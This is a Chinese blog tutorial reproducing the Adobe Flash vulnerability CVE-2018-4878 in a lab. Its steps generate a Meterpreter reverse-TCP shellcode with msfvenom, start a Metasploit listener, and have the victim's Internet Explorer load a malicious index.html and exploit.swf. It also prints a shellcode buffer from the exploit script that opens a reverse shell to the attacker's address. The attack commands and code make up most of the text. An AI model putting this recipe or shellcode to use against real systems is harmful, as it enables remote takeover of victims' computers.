本文作者：i春秋作家――F0rmat
前言这几天很忙，已经有两天没有更新文章了，最近 CVE-2018-4878 挺火的，还有群里的人也问这个怎么复现。今天就献丑复现一下，大表哥别喷，虽然我还没研究到这方面的漏洞分析，我会努力的，相信不久我也能写出二进制漏洞分析的文章。
从Adobe公告致谢来看，这个漏洞的野外攻击样本最早是由韩国计算机应急响应小组（KR-CERT）发现的，而KR-CERT也表示，来自朝鲜的黑客组织已经成功利用这个0Day 漏洞发起攻击。
环境攻击机：kali 2018( 192.168.59.6 )
靶机：windows 10 x64 ( 192.168.59.160 )
Web服务器：Windows 7 X64( 192.168.59.127 )
复现过程我们先在kali生成一个python类型的shellcode
msfVENOM -p windows/meterpreter/reverse_tcp LHOST=192.168.59.6 LPORT=6666 -f p ython > /root/shellcode.txt
LHOST 就是kali的ip地址， 6666 端口你可以随便设置， /root/shellcode.txt 要生成的文件路径
2.替换EXP里面的shellcode
3.使用cve-2018-4878.py生成文件，我这里用的是 Sublime Text 3 Ctrl+B运行python，会在本目录下生成两个文件 index.html , exploit.swf
4.然后把这两个文件放到Web服务器里面
5.在kali的MSF里面设置监听
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.59.6 msf exploit(handler) > set LPORT 6666 msf exploit(handler) > exploit6.然后使用靶机的win10 IE访问Web服务器的文件 index.html
cve-2018-4878.py 代码 #!/usr/bin/env python # coding: UTF-8 buf = "" buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8" buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" buf += "\xff\xd5\x6a\x0a\x68\xc0\xa8\x3b\x06\x68\x02\x00\x1a" buf += "\x0a\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" buf += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5" buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec" buf += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02" buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a" buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53" buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9" buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40" buf += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57" buf += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9" buf += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0" buf += "\xb5\xa2\x56\x6a\x00\x53\xff\xd5" payload = buf data = "" stageless = False flash_name = "exploit" if stageless is True: data = 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else: data = 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